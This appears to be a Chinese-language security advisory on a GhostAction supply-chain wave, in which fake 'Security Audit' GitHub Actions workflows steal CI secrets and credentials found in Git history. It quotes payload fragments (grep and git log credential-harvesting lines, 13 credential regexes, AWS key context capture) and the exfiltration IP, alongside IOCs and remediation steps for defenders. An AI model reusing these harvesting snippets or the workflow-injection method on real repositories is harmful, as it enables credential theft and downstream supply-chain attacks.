威胁研判 · 供应链安全 · GitHub Actions
GhostAction 供应链攻击卷土重来
伪装“安全审计”的恶意工作流正在批量搬空 GitHub 仓库的云凭证
两个被入侵的维护者账户、约 40 分钟内 340+ 仓库被批量注入;本轮新增对完整 Git 历史的凭证扫描,目标直指 AWS 云凭证与 AI 服务 API 密钥。
· GhostAction · GitHub Actions 工作流注入 · Git 历史凭证窃取 · 2026.10
事件速览:2026 年 10 月 8 日,供应链攻击活动 GhostAction 的新一轮爆发被多家安全厂商捕获。攻击者利用两个被入侵的开源维护者账户,在总计约 40 分钟的两个自动化时间窗口内,向超过 340 个 GitHub 仓库批量提交了伪装成“安全审计”的恶意 GitHub Actions 工作流。与以往不同的是,本轮载荷在窃取 CI/CD Secrets 的基础上,新增了对工作目录和完整 Git 历史的凭证扫描能力,目标直指 AWS 云凭证与 AI 服务 API 密钥。截至 10 月 9 日,已有超过 500 个 GitHub 账户被确认提交了该恶意工作流,波及仓库数以万计。
10 月 8 日 13:20 UTC,开源游戏引擎 pyxel(GitHub 星标约 1.8 万)的作者 Takashi Kitao 的账户,开始向自己名下的仓库推送一个名为 security-audit.yml 的工作流文件,提交信息是再普通不过的 “Add security audit workflow”。约 24 分钟内,27 个仓库被植入该文件,仅 pyxel 仓库就收到三次提交。
8 小时后,21:10 UTC,另一位维护者 Henry Wu(henrywoo)的账户开始了更大规模的扫荡:16 分钟内,318 个仓库(39 个源仓库 + 279 个 fork)被注入同一载荷。这一窗口的最后两秒,攻击落在了 Uber 旗下的 uber/athenadriver 仓库上——henrywoo 是该项目的原作者,保留着对组织仓库的写权限。没有 PR,没有评审,恶意文件以维护者本人的身份直接推入 master,提交未签名,审计日志中没有任何异常痕迹。
这些提交呈现出鲜明的自动化特征:跨越十年未更新的“僵尸仓库”与活跃项目被无差别处理,所有载荷文件除渲染进去的 Secret 名称外逐字节一致。Socket 在 10 月 9 日的更新中确认,自 10 月 7 日以来已有超过 500 个 GitHub 账户向数以万计的仓库提交了该恶意工作流,其中包括通过被入侵贡献者触及的组织仓库。截至发稿,恶意工作流仍存在于多个受影响仓库的默认分支上,且已成功运行。
02 GhostAction:一场从未停止的供应链攻击GhostAction 并非新面孔。2025 年 9 月,GitGuardian 首次披露了这一针对 GitHub 的大规模凭证窃取活动:攻击者入侵 FastUUID 项目维护者账户作为起点,最终波及 327 名用户、817 个仓库,窃取 3,325 个密钥,涵盖 PyPI、npm、DockerHub、GitHub、Cloudflare 令牌及 AWS 密钥、数据库凭证等,多家公司的整套 SDK 产品线同时沦陷。PyPI 事后作废了所有被盗令牌,并确认攻击者未利用其发布恶意包。
一年多过去,这条攻击链几乎没有变过,始终是四步:
1账户入侵 —— 获取维护者的有效 GitHub 凭证(最可能来自窃密木马日志或凭证库中流通的泄露 PAT,具体途径未被观测到)。
2投递前侦察 —— 扫描目标仓库现有工作流文件中的 ${{ secrets.NAME }} 引用,将精确的 Secret 名称渲染进载荷模板。
3注入 —— 以受害者身份将伪装成安全增强的工作流直接提交到默认分支,推送动作本身即触发执行。
4外泄 —— 工作流通过 curl 以明文 HTTP POST 将凭证发送到攻击者控制的服务器。
真正变化的是基础设施与载荷能力。2025 年 9 月,外泄端点是 bold-dhawan.45-139-104-115.plesk.page 等域名(指向 45.139.104.115);而自 2026 年 9 月初起,端点切换为裸 IP 193.32.204.199(80 端口,及 3000 端口的 /api/workflow/receive?inj= 接口),不再产生 DNS 查询,基于域名的防御手段被整体绕过。2025 年版旧载荷至今仍在与新载荷并行投递。
图1 | GhostAction 攻击链全景流程图(图源:根据 Socket、StepSecurity 披露信息整理自绘)
03 解剖“安全审计”:一个工作流里的两套窃取引擎以 pyxel 仓库 commit
97670a55 中的完整载荷为样本,这个名为 “Security Audit” 的工作流触发条件为 workflow_dispatch + 无任何分支/路径过滤的 push,整个任务只做一件事——收集凭证并外泄。其内部由两代技术拼接而成。
图2 | “Security Audit”恶意工作流内部数据流(图源:根据 Socket 披露的载荷代码整理自绘)
3.1 继承自 2025 年的部分:点名窃取 Actions Secrets载荷中的这段逻辑是 GhostAction 的标志性手法:
out="REPO=$GITHUB_REPOSITORY"
[ -n "CARGO_REGISTRY_TOKEN=${{ secrets.CARGO_REGISTRY_TOKEN }}&PERSONAL_ACCESS_TOKEN=${{ secrets.PERSONAL_ACCESS_TOKEN }}&PYPI_PASSWORD=${{ secrets.PYPI_PASSWORD }}&PYPI_USERNAME=${{ secrets.PYPI_USERNAME }}" ] && out="$out&..."
投递前侦察的成果在这里兑现:pyxel 的载荷中精确写死了四个 Secret 名称——crates.io 发布令牌、GitHub 个人访问令牌、PyPI 用户名与密码,恰好覆盖该项目双注册中心的全部发布凭证。这类凭证的价值在于,攻击者可以冒用一个用户已信任的项目的名义发布恶意版本,把单点账户失陷放大为下游供应链事件。若侦察未发现任何 Secret,模板会优雅降级为空判断 [ -n "" ](athenadriver、pyllama、chatllama 等仓库即是如此),工作流照常运行。
3.2 本轮新增的部分:把工作树和 Git 历史翻个底朝天从 fetch-depth: 0 开始的一切都是新能力,也是本轮升级的核心:
- uses: actions/checkout@v4
with:
fetch-depth: 0# 拉取全部分支与标签,而非默认的浅克隆
grepped=$(grep -rEiho "<13种凭证正则>" --exclude-dir=.git . 2>/dev/null | sort -u)
gl=$(git log -p --all 2>/dev/null | head-200000)
hist=$(echo"$gl" | grep -oiE "<13种凭证正则>" | sort -u | head-300)
ctx=$(grep -rEi -B2 -A2 "AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}" --exclude-dir=.git . 2>/dev/null | head-150)
hctx=$(echo"$gl" | grep -Ei -B2 -A2 "AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}" | head-150)
五个变量分工明确:grepped 扫工作树,gl 缓存全量历史的补丁文本,hist 在历史中重跑同一套正则,ctx/hctx 则对 AWS 密钥做专门的上下文捕获。
fetch-depth: 0 是整个设计的支点:它让 Runner 拿到仓库的每一个分支和标签,
git log -p --all 随之可以读取完整历史的补丁文本——哪怕某个密钥 2019 年提交后第二天就被删除,哪怕它只存在于一条早已废弃的分支或旧标签上,也会被原样收割。这正是维护者最可能误以为“已经清理干净”的那类凭证。
3.3 AWS 密钥配对:从“孤儿 ID”到可用凭证两组上下文捕获是新增部分中最具针对性的设计。AKIA/ASIA 只是密钥标识符,本身无法通过认证;真正的 40 位 Secret Access Key 在实践中往往就躺在它上下一两行——.env 文件、AWS credentials 文件、Terraform 变量文件或 CI 配置块里。载荷对每个 AWS Access Key ID 抓取前后两行上下文,并用 AKIA_CTX_START / AKIA_CTX_END 分隔符包裹,以便接收端单独解析,从而重建完整可用的 AWS 密钥对,而非收回来一堆无法使用的孤立 ID。
工作树与历史两个扫描通道共用以下 13 个正则模式:
| | |
| AKIA[0-9A-Z]{16} | |
| ASIA[0-9A-Z]{16} | |
| (?:aws_)?secret(?:_access)?_key | Secret Access Key(按变量名匹配) |
| aws_session_token | |
| sk-ant-… | |
| sk-proj-… | |
|
sk-or-(v1-)?… | |
| ghp_[A-Za-z0-9]{36} | |
| github_pat_…{60,} | |
| glpat-… | |
| AIza[A-Za-z0-9_-]{35} | Google / Firebase / GCP API Key |
| xox[baprs]-… | |
| SG\.…\.… | |
模式清单与受害仓库画像高度吻合:henrywoo 名下星标最高的 pyllama(约 2,800 星)与 chatllama(约 1,200 星)均为机器学习项目,其贡献者与 fork 者恰恰最常持有 AWS 密钥与各家 AI 服务密钥。
两类窃取结果拼接进同一个变量,一次 HTTP POST 全部带走。更有意思的是 URL 中的查询标记:模板渲染了具名 Secret 的仓库 POST 到 /?c=monami,仅有历史扫描结果的 POST 到 /?c=new——攻击者无需打开请求体,仅凭 URL 就能把回传数据按“含金量”分拣。同时,无论是否有所收获,每次运行都会回传仓库标识符,攻击者因此持有一份“可触达执行环境”的实时地图。所有流量走明文 HTTP 直连裸 IP,产生不了任何可供域名安全设备检查的 DNS 记录。
uber/athenadriver —— 外泄确认成功StepSecurity 提取了恶意运行的日志(Run ID 37846728441,由注入提交后 3 秒触发)。日志显示 checkout 拉取了仓库全部 13 个分支和 20 个标签——包括 henry.wu/* 开发分支和一个名为 s3-bucket-compromised-2023-03 的分支,全部进入历史扫描范围。三段 grep 执行后,日志中出现一行
OK:工作流脚本本身不打印任何输出,这是 C2 服务器的 HTTP 响应体被 curl -s 回显进了日志。21:26:04Z,运行开始后仅 4 秒,POST 已送达并被确认接收。同一份日志还暴露了两个细节:AWS Secret Key 正则因使用了 POSIX ERE 不支持的非捕获组 (?:...) 而部分失配(日志中的 grep: warning 即源于此),但所有字面量前缀模式工作正常;本次运行的 GITHUB_TOKEN 权限仅为 contents: read,工作流自身无法推送或发布——权限提升完全依赖偷到的凭证,这正是 pyxel 发布令牌的价值所在。
kitao/pyxel —— 攻击者回来“手动按了按钮”pyxel 的恶意工作流共运行 5 次且全部成功:3 次由攻击者推送触发,2 次为手动 workflow_dispatch(13:36:32Z 与 13:42:35Z),均在每次工作流更新后立即从被入侵的 kitao 会话发起。自动化扫荡之外,这是明确的“人在回路”操作——攻击者手动重跑外泄工作流以验证或重复收集。
typecho-fans/plugins —— 一个配置项拦断了攻击链该仓库自 9 月 5 日起就被 xxyangyoulin 账户注入了旧版载荷。10 月 7 日,攻击者先后推送一个零文件变更的空提交(“Update Github Actions Security workflow”)和一次三行 README 修改(“Trigger security scan”),目的纯粹是重新触发工作流。但两次运行全部卡在 action_required 状态——该仓库启用了工作流运行审批,外泄未能执行。一个设置,击穿了整条攻击链。
- 爆炸半径不取决于个人项目,而取决于凭证能写到哪。 henrywoo 因原作者身份保有 Uber 组织仓库写权限,一次个人账户失陷直接把载荷送进了财富 500 强代码库。
图3 | Socket 的 AI 扫描器将 uber/athenadriver 被注入恶意工作流的版本识别并标记为“已知恶意软件 / 供应链风险”(图源:Socket)
- pyxel 是暴露面最高的目标。 约 1.8 万星、966 个 fork,Rust + Python 双语言,经 PyPI 与 crates.io 双渠道分发;载荷中点名的四个 Secret 正是两个注册中心的发布凭证加一个 GitHub PAT。
- 279 个被注入的 fork 构成次生风险。 若启用 Actions,后续推送即可触发凭证收割;下游 fork 在新建或与上游同步时也会继承恶意工作流,而私有 fork 和下游镜像最为危险——真正被提交进仓库的凭证恰恰集中在私有仓库里。
- 发布凭证的暴露窗口仍然敞开。 截至发稿,未观测到利用被盗凭证在 PyPI 或 crates.io 发布恶意版本:pyxel 最后版本为 8 月 12 日的 v2.9.9(失陷前),其 crates.io 发布停留在 2019 年,athenadriver 最后发布于 2024 年 3 月。但只要相关令牌未轮换,风险就持续存在——这与 2025 年波次的情况如出一辙,当时同样“只偷不用”,而“尚未滥用”从来不是凭证安全的证据。
- 规模仍在扩大。 截至 10 月 9 日,GitHub 代码搜索显示默认分支上仍存活的恶意工作流覆盖 378 个仓库,其中 182 个带有 AKIA_CTX_START 历史扫描标记,88 个带有 ?c=monami 标记(即具名 Secret 已被模板化并外泄);该数字不含 fork,henrywoo 名下 279 个被感染 fork 需额外计入。
在 GitHub 代码搜索中检查以下特征(登录后 Code 标签页):
"AKIA_CTX_START"path:.github/workflows
"c=monami"
"193.32.204.199"path:.github/workflows
org:组织名 "AKIA_CTX_START"
零命中是好迹象;任何命中即意味着存在被感染仓库或携带恶意工作流的 fork。若仓库自 2026 年 8 月 31 日以来出现过名为 “Security Audit”(security-audit.yml
)或 “Github Actions Security”(github_actions_security.yml)的工作流,应按已确认失陷处置:所有已配置的 Actions Secret 与 Git 历史中存在的任何凭证都已被提供给攻击者,且工作流每次运行都会回连——哪怕一无所获。
若载荷中渲染了具名 Secret(Set A 暴露)- 轮换文件中点名的每一个 Secret;对个人访问令牌应吊销而非轮换;
- 审查 PyPI / crates.io / npm 等注册中心在暴露窗口内的发布历史,比对发布产物与自有构建输出;
- 检查注入工作流的运行记录,任何已完成的运行均视为对应 Secret 已被外泄。
- 用 git log -p --all 扫描完整历史而非仅当前 HEAD,包含不可达对象与废弃分支/标签;
- 凡是在历史中出现过的凭证,无论当前树中是否存在,一律按已暴露处理并轮换,覆盖上述全部 13 类;
- 对历史中发现过 AWS 密钥的,回溯审查暴露窗口及之后的 CloudTrail 日志,排查新增 IAM 用户、访问密钥与异常区域活动。
- 从所有分支(不止默认分支)删除恶意工作流并回滚提交,包括组织仓库;
- 将被入侵账户视为完全失陷:吊销全部会话、PAT、OAuth 授权与 SSH 密钥,启用防钓鱼多因素认证并重新登记;
- 审查组织审计日志中的推送窗口,按账户权限枚举而非按预期排查所有可写仓库的工作流新增记录;
- 在出口日志(含自托管 Runner 网段)中排查与 193.32.204.199 的连接并实施阻断;
- 开启 GitHub Secret Scanning 的推送保护,要求外部协作者的工作流运行需审批——本轮事件中,审批门是唯一被观测到直接阻断外泄的控制项;
- fork 所有者:在任何来自受影响命名空间的 fork 上启用 Actions 前,先检查是否存在 .github/workflows/security-audit.yml;
- 清理完成前不要发布任何新版本:若配置了发布类 Secret,应假定攻击者已能以你的身份发包。
| | | |
| T1078 | | 使用被入侵的维护者 GitHub 账户(henrywoo、kitao、xxyangyoulin)直接推送恶意提交 |
| T1195.002 | Supply Chain Compromise: Compromise Software Supply Chain(供应链攻陷) | 向开源仓库注入恶意工作流,窃取发布凭证,可向下游包生态扩散 |
| T1036
| | 恶意工作流伪装为“Security Audit”“Github Actions Security”等安全增强,提交信息同样伪装 |
| T1552.001 | Unsecured Credentials: Credentials In Files(文件中凭证) | 正则扫描工作树与完整 Git 历史中的 13 类硬编码凭证 |
| T1552 | Unsecured Credentials(非安全存储凭证) | 窃取 GitHub Actions 环境中注入的 CI/CD Secrets |
| T1528 | Steal Application Access Token(窃取应用访问令牌) | 窃取 GitHub/GitLab PAT、PyPI/crates.io/npm 发布令牌、Slack/SendGrid/Google 等服务令牌 |
| T1119 | Automated Collection(自动化收集) | 通过 grep + git log -p --all 对仓库工作树与全量历史进行自动化正则收割,并对 AWS 密钥做上下文配对 |
| T1071.001 | Application Layer Protocol: Web Protocols(Web 协议) | 通过明文 HTTP POST 与 C2 通信,直连裸 IP 规避 DNS 层检测 |
| T1041 | Exfiltration Over C2 Channel(经 C2 通道外泄) | 窃取数据经 curl 单次 POST 外泄至硬编码 IP 193.32.204.199 |
网络指标
|
| |
| 193.32.204[.]199 | 当前外泄端点;任何来自 Runner 的连接均确认数据已送出 |
| hxxp://193.32.204[.]199/?c=monami | monami = 仓库存在具名 Secret;new = 仅历史扫描 |
| 193.32.204[.]199:3000/api/workflow/receive?inj= | |
| 45.139.104[.]115、170.39.218[.]2、*.oast.fun | |
| bold-dhawan.45-139-104-115.plesk[.]page、carte-avantage[.]com、objective-hopper.45-139-104-115.plesk[.]page | |
主机 / 代码指标
| |
| .github/workflows/security-audit.yml、.github/workflows/github_actions_security.yml、.github/workflows/security-check.yml |
| “Security Audit”(job:
audit);“Github Actions Security”(job: send-secrets,步骤 “Prepare Cache Busting”) |
| Add security audit workflow、Update security audit workflow、Add/Update Github Actions Security workflow、Add security check workflow、Trigger security scan |
| REPO=、AKIA_CTX_START、AKIA_CTX_END |
| henrywoo、kitao、xxyangyoulin(受害者账户,非攻击者持有账号) |
审计日志排查要点:维护者身份直接向默认分支提交工作流文件(绕过 PR)、新建“audit”工作流上的 workflow_dispatch 事件、数分钟内跨多仓库的密集未签名提交。
1. Socket — New GhostAction Wave Hits Hundreds of Repos, Expanding Beyond CI/CD Secrets to Cloud Credentials
https://socket.dev/blog/ghostaction-cloud-credentials
2. StepSecurity — GhostAction Returns: Malicious “Security Audit” Workflows Now Mine Credentials from Entire Git Histories
https://stepsecurity.io/blog/ghostaction-returns
3. GitGuardian — The GhostAction Campaign: 3,325 Secrets Stolen Through Compromised GitHub Workflows(2025 年 9 月首次披露)
https://blog.gitguardian.com/ghostaction-campaign-3-325-secrets-stolen/
4. StepSecurity — GhostAction Campaign: Over 3,000 Secrets Stolen Through Malicious GitHub Workflows(2025 年 9 月)
https://www.stepsecurity.io/blog/ghostaction-campaign-over-3-000-secrets-stolen-through-malicious-github-workflows
5. The Hacker News — Credential-Stealing GitHub Actions Workflows Planted in Tens of Thousands of Repositories
https://thehackernews.com/2026/10/credential-stealing-github-actions.html
6. BleepingComputer — Hackers steal 3,325 secrets in GhostAction GitHub supply chain attack
https://www.bleepingcomputer.com/news/security/hackers-steal-3-325-secrets-in-ghostaction-github-supply-chain-attack/
7. FreeBuf — 泛滥的供应链攻击又一例:GhostAction 行动窃取凭证信息事件解析(2025 年 9 月)
https://www.freebuf.com/news/448136.html